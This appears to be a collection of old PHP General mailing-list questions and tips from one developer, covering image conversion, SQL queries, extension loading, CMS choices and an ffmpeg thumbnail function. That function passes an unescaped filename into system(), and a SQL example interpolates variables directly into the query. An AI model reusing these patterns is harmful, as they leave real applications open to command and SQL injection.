[PHP] Using PHP to convert to JPEG
I'm building a site that allows ppl to upload images. PHP was compiled with the GD lib so I'm able to verify all sorts of info about the image for validation. However, I was wondering if there is a way to convert a non-jpeg image to jpeg just by using the GD functions as opposed to using unix command line utilities and system/exec functions (the hosting company doesn't like that, and personally, i don't like the 'cross ur fingers' aspect of php/commandline stuff). Some browsers don't like some image types and we're trying to make jpg the standard extension, though we allow ppl to upload BMP, TIF, GIF, PNG, and JPG files. I can get the image and put it where I want on the server, but is there a way to finesse the GD lib to create a jpeg from whatever image type they upload? If someone just has an idea that may or may not work, I'm open to suggestions, pseudo-code is welcome. Seems that somewhere in the GD lib's capabilities there's a way to squeeze out what i want, but I can't grasp it.

[PHP] Just to ask knowledgable ppl
Not directly PHP related, but I'm building a site in PHP at the moment, so I've been doing a bit of research... I've been on the net for years, coding and surfing and coding. And not always in that order. ;) But only recently have I heard about web beacons, or single-pixel gifs. Seems every site with these beacons mentions them in their privacy policy. Shows you how much I pay to attention to them. I was just curious as to how they work. Is it just a matter of viewing server reports to see how often that image has been accessed? _ Add photos to your e-mail with MSN 8.

[PHP] Display HTML/PHP code on a web page
I've googled for it, but nothing came up. How do I display code on a page without it being executed? i want the page to display HTML code as it would look if you typed it into an editor (not encoded), and the code I want to display is being spit out by PHP. Which functions should i look at? i can get it to display with urlencode, but, of course, it's encoded. Thank you, Jason P.S. a bit more info: I'm pulling a file from my site like this: $file = file("http:///file.php";); it works fine, but i want to be able to print out lines that meet a certain criteria, and that includes any of the html source that comes along with it. however, the the search script tries to execute the lines instead of displaying them. i don't want to write this to a file and then display as this is for admin purposes and i want to be able to do quick scans from a browser, and i want the matches to display underneath the search form, which I can do, but I make a note of it because the page still has to react as an html page (form submission). this make any sense? _ The new MSN 8: advanced junk mail protection and 2 months FREE* http://join.msn.com/?page=features/junkmail -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] querying for values inside range
this is an sql syntax question and i know it's not appropriate for this mailing list, but i didn't want to subscribe to another mailing list for something i think one of you might be able help me with. thank you for your patience. i'm building a site utilizing PHP/MySQL. i'm querying a table to find records where a field lies within a certain range. $age1 = "20"; $age2 = "30"; $sql = "select * from table where age>=$age1 and age<=$age2"; is there another way to write this query? i'm going to be building the sql string programmatically and i was curious about different syntax being able to produce the same result in the hopes that it'll help streamline my PHP code. for example, what if i don't know which is value is greater, age1 or age2? is there some sql syntax that will deal with this situation without me having to determine which is which via PHP? _ Tired of spam?

[PHP] zip code validation/regular expression
Simply trying to use regular expressions to validate a 5 or 5+4 zip code, excluding 0 and 0-. Looked on http://www.regexlib.com, and that's where I found the pattern below, but it doesn't work.

Re: [PHP] Validating Dynamic Checkboxes
methinks you are looking for a javascript mailing list. i only post this to the forum because you posted your reply here as well, and i wanted to save face in front of my PHP comrades. the js code you sent back failed to reflect any of the significant changes i suggested. this is what you put: <br> function validate() {<br> if (!(<?php print $jscondition; ?>)) {<br> alert('Please check at least one edit checkbox before submitting this form.');<br> return false;<br> }<br> }<br> but that cannot work. you have it so that an alert will trigger if an item is checked, but that is when you want the form to be submitted, and an alert to be triggered otherwise. first, make sure that your submit button is not an actual submit button, but a regular button that triggers an onClick event, like thus: then have ur js function work like this: (i may not have coded everything exactly as you needed it, only made it as a model, you'll have to extract the logic and modify it for your needs): function validate() { if (!(<?php print $jscondition; ?>)) { document.getElementById('mainform').submit(); } else { alert("Please check at least one item."); } } i tested a simple model locally and it worked fine. if you wish to continue this thread, i'll be glad to assist, but let's keep it out of the mailing list until we hit on something that is directly related to PHP. good luck, j note: netscape doesn't always work right with JS, sometimes working contrary to the very language they invented. i tested the code with myIE2. --- http://www.dailymedication.com - Everything you didn't know you needed until you went there and said to yourself, "What did I do before I visited DailyMedication.com?" and another part of you answered, "It does not matter.

Re: [PHP] Passing var from one page to itself
also, you can store info in hidden form fields. on the 2nd page, populate the hidden fields with the data from the first page. when that form is submitted, the hidden field values will get submitted as well. that's not ideal, tho. if you have validation in place between the first and second pages, that could be obviated if someone who knew some stuff changed the hidden field values before it gets sent to the 3rd page. you could do the session vars as the previous person suggested, but if you have a lot of data to store, you might want to consider putting it into a database using the session_id as the identifier.

[PHP] Connect PHP to Remote SQL Server?
Apache and PHP 4.3.9 are on a *nix server and we don't have root access, HOWEVER we can have the tech support perform pretty much any action except re-compile PHP (for which they charge), but I'm hoping i could dynamically load extensions during run-time. I just need to know which extensions. PHP has been compiled with unixODBC and dbx (there is no mssql extension on the server). These look like likely tools for a SQL server connection, but nothing works. I can't find anything about unixODBC in relation to PHP, unless FreeTDS is mentioned as well. I tried loading odbc.so during runtime, but it can't be found. Same for mssql.so. Should we add these files to the extensions dir for use with dl()? Should we install FreeTDS? Should we do both? How can we do this without recompiling PHP? I have the remote SQL server IP, the port number, the username and the password. The web server IP has been added to the allow list for the SQL Server. Any advice will be welcome. Thanks in advance! Leaning on the PHP list, Jason
[PHP] PHP/MySQL CMS for Articles/Studies/Research Papers?
One of my clients is a veterinarian who performs research on the side. He wants to be able to post his papers online and let ppl comment and have discussions. he's not just a dabbler. the university of georgia is (was?) conducting clinical trials for his parvo cure that has already saved hundreds of animals from certain death. Caveats: - he has no HTML knowledge, so something with a rich-text editor is a must. - the simpler the interface, the better (For God's sake, Jim, I'm a vet, not a web developer!) - he's on a managed server, has to be something we can upload via ftp - wants to be able to include images in his posts - free is better right now, he's using PHP-nuke, but he's not very keen on it, nor am i. drupal is a possibility with the image and rich-text modules, but it can get messy for someone whose web mastery extends to sending emails (consider drupal's taxonomy system. at the most, he might just want to make a new category and be done with it and not get confounded with parent/child relationships and their weights). he has a blog, but that is going to be used for dealing with particular cases. the CMS site will be used for the big articles and papers. the CMS should be blog-like in nature, and we may end up just creating another blogspot blog for him to use (connected via FTP publishing). just wanted to know if any of you have seen anything geared for this sort of content, something professional-looking that doesn't come with a huge learning curve. it wouldn't have to be TOO fancy, i could probably make something, but didn't want to re-invent the round-thing-that-rolls. thank you, ~jason -- Crunchmutt Studios Latest News Headlines: http://www.rssvideonews.com http://www.crunchmutt.com http://www.deadjoe.com http://www.dailymedication.com http://www.extremesportclips.com http://www.coolanimalclips.com http://www.robotclips.com http://www.newsfinger.com http://www.postyourimage.com http://www.nakedalarmclock.com

[PHP] Copy Network Share W/ Diff. Creds To Local Folder?
I'm building a web app on a windows server for a company. an aspect of that requires grabbing a sound file from a network share, which i attempted with a windows copy command via exec(), but PHP needs to be able to pass the authentication credentials. runas requires password interactivity, and i've looked at runasspc but that costs for commercial use and was hoping to avoid it if possible. is there a way to finesse runas with PHP? some trick to get PHP to offer the password? or is there some other clever way to make this happen? Thank you, Jason
[PHP] PHP 5.2.2 - Undefined Function mysql_connect()
I use this setup locally for testing/playing. I recently installed the latest and greatest of the AMP collection. Apache 2.2.4 PHP 5.2.2 MySQL 5.0.37 Apache and PHP work fine together, but I wanted to hook it up to a local test database, so I installed MySQL. In php.ini, i have: ; Directory in which the loadable extensions (modules) reside. extension_dir = "C:\PHP" i made sure that i moved the dll to that folder, just like i did with the gd dll. And then i uncommented this line: extension=php_mysql.dll I restarted Apache, and ran a simple test script: and I get the error: *Fatal error*: Call to undefined function mysql_connect() any ideas? thanks in advance, jason
[PHP] Solution For Undefined Function mysql_connect()
SOLUTION FOUND! i copied libmysql.dll and php_mysql.dll to my c:\windows\ folder suddenly my script connects. that's all it took. my extension directory is set to C:\PHP in php.ini, but for some reason, placing the dlls in the windows folder did the trick. i searched httpd.conf and php.ini for "WINDOWS" and did not find a reference, but it works. thank you for taking the time to help. maybe this info can help you or someone you know.

[PHP] PHP - grabbing a thumb from FLV's (function)
i wanted to get my server to grab a thumbnail (video capture) of an FLV using PHP, and ffmpeg-php is not an option (at the moment, can't spare the possible downtime, many money-making sites involved). i installed ffmpeg. Fedora Core 4 users try this: yum install ffmpeg I went a more circuitous route and installed Subversion (SVN) (google it), THEN installed ffmpeg using the link on their download page. (get it, configure it, make it) Then, like i do with imageMagick, i use a system() call to ffmpeg. NOTE: (i had to put the full path to ffmpeg (usr/local/bin/ffmpeg) in my system call, this messed me up for a bit) here's my impromptu function (have to pass the FLV file, width, height, hour, min, sec, append (any value you want to put on the end of the resulting jpg's filename)): function flvThumb($file,$width=50,$height=50,$hour=00,$min=00,$sec=01,$append) { if ($append == "") { $append = time(); } if ($file == "" or !is_file($file)) { return false; } $width = eregi_replace("[^0-9]","",$width); $height = eregi_replace("[^0-9]","",$height); if ($width == "") { $width = 50; } if ($height == "") { $height = 50; } $hour = eregi_replace("[^0-9]","",$hour); $min = eregi_replace("[^0-9]","",$min); $sec = eregi_replace("[^0-9]","",$sec); if (strlen($hour) == 1) { $hour = "0" . $hour; } if (strlen($min) == 1) { $min = "0" . $min; } if (strlen($sec) == 1) { $sec = "0" . $sec; } $try = explode(".",$file); $ext = array_pop($try); $desig = implode(".",$try); $thumbname = $desig . "_" . $append . "." . "jpg"; $varmake = @system("/usr/local/bin/ffmpeg -i $file -vcodec png -vframes 1 -an -f rawvideo -s " . $width . "x" . $height . " -ss " . "$hour" . ":" . "$min" . ":" . "$sec" . " -y " . "$thumbname",$retval); $tmp = @stat($thumbname); if ($tmp['size'] == 0) { @unlink($thumbname); return false; } if ($retval != 0) { return false; } else { return $thumbname; } } if it returns anything but false, you may have a problem. of course, the problem may be with the function and application. i know that improvements can be made, but i wish i had seen this before i started trying to figure everything out. i like having a starting point. (i'm sending this to my gmail for my 'reference archive') HOPE THIS HELPS SOMEONE (plz don't burn me) 1337 c0d1ng 2 a11, & 2 a11 @ g00d n173, mellomutt p.s. it only just now strikes me that many other video formats can be thumbnailed. mpg, wmv, mov, avi, etc this really changes the way i'm thinking about my sites. i was using a desktop client to make thumbnails, and it's a good one, but to have ur server do it for you...that just makes it that much easier to add content, and thusly, that much more likely for me to add content because i'm a lazy wanker.
[PHP] Current URL?
Trying to get the current viewed page's URL (query string intact). this works, but infrequently: $url = $_SERVER['URI']; and this ignores the query string: $url = $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; I'm certain there's a way, that is browser-independent, to get your script to grab the current URL (even if the script is an include). i'm just trying to get a log of users currently online, and which page they are viewing, and while the $_SERVER['REMOTE_ADDR'] will invariably grab the IP, $_SERVER['URI'] is often empty. i welcome any and all suggestions. thank you, ~jmp -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Parse Flash File for URLs
how might i accomplish this? phpAds does this when a flash banner is uploaded, and asks if you want to change the URLs it finds. instead of being diligent and scouring the phpAds code for what I'm looking for, was hoping someone out there could offer some tips, suggestions, pseudo-code, etc for how this could be done. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Job Recruitment and Support Ticketing Appz
A friend of mine is looking for one each of the following web appz: 1) Job Recruitment A bundle of scripts that will allow someone to manage job listings and accept applications online. 2) Online Support Ticketing Users submit issues, and they are resolved by the support team. Resolutions may be shared in a searchable knowledgebase. Anyone know of any solid PHP projects that deal with these issues? Just didn't want to reinvent the wheel.
